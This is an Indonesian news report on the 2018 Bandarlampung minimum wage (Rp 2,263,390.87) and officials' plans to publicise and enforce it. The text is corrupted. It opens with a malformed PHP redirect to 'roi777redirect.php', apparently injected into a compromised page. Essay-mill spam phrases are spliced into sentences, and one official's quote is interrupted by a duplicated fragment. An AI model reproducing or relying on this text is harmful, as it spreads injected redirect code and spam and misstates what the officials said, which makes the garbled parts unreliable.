header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Sah, UMK Bandarlampung 2018 Rp 2,2 Juta -
Sah, UMK Bandarlampung 2018 Rp 2,2 Juta

TRANSLAMPUNG.COM, BANDARLAMPUNG – Pemerintah Kota (Pemkot) Bandarlampung melalui Dinas Tenaga Kerja (Disnaker) setempat, menerima berkas pengesahan Upah Minimun Kota (UMK) 2018 dari Pemerintah Provinsi (Pemprov) Lampung.

UMK tahun 2018 sebesar Rp 2.263.390,87 itu disahkan dengan SK Gubernur No.G/586/V.07/HK/2017 tertanggal 22 November 2017.

Kabid Ketenagakerjaan Disnaker Bandarlampung, M. Kabul mengatakan, dengan disahkannya online essay writer UMK tersebut, Disnaker segera melakukan sosialisasi kepada perusahaan yang ada di kota ini.

“Selain mempublikasikan ke perusahaan, UMK ini juga akan kami masukkan dalam perda ketenagakerjaan yang masih dibahas, menjadi salah satu poin dalam raperda itu,” kata Kabul. ketika dihubungi, Minggu (26/11).

Dengan masuknya UMK ke dalam raperda tersebut, pemkot jadi lebih mudah untuk menerapkan aturan penggajian karyawan perusahaan yang berada di Bandarlampung, agar sesuai UMK.

“Untuk perusahaan yang tidak menerapkan UMK, pasti akan kami berikan teguran dan buy essay papers UMK tersebut, Disnaker segera melakukan sosialisasi kepada perusahaan yang ada di kota ini. sanksi. Yang terberat bisa dicabut izin usahanya,” kata Kabul.

Publikasi dilakukan melalui rilis secara online maupun melalui surat edaran resmi langsung ke perusahaan yang ada.

Kabul menambahkan, dengan disahkannya UMK ini oleh gubernur, penyusunan rencana anggaran perusahaan akan dimudahkan.

“UMK Bandarlampung menjadi acuan operasional perusahaan tahun depan,” kata dia.

Sebelumnya diberitakan, Sekretaris Kota Bandar Lampung, Badri Tamam meminta UMK segera disahkan, karena akan digunakan sebagai acuan perusahaan membuat rencana anggaran tahun berikutnya.

”Kami harap secepatnya disetujui, karena UMP sudah. Kami juga yang pertama mengajukan ke Pemprov Lampung,” kata dia di lingkungan pemkot setempat, Jumat (24/11).

Ia mengatakan, mundurnya pengesahan UMK ini akan berdampak pada pekerja yang mencari nafkah di perusahaan, di wilayah kota Tapis Berseri.

“Itu karena patokan penyusunan rencana belanja perusahaan. Mereka juga menyusun upah gaji karyawannya,” jelas Badri.

Mantan sekretaris KPU Lampung ini berjanji akan langsung melakukan sosialisasi kepada perusahaan di wilayah Bandarlampung, seusai Gubernur Lampung meneken SK UMK Bandar Lampung.

“Kalau sudah ada maka kami akan langsung sosialisasikan ke setiap perusahaan,” tutup dia.

Diketahui, UMK Kota Bandarlampung tahun 2018 sebesar Rp 2.263.390,87, naik 10,17 % atau Rp209ribu dari UMK tahun 2017 sebesar Rp. 2.054.365,32.

Sesuai dengan PP nomor 78 Tahun 2015 tentang pengupahan, salah satu faktor penghitungan UMK 2018 berdasarkan inflasi nasional sebesar 3,71 persen dan pertumbuhan ekonomi 4,99 persen. (jef/rus)

News Reporter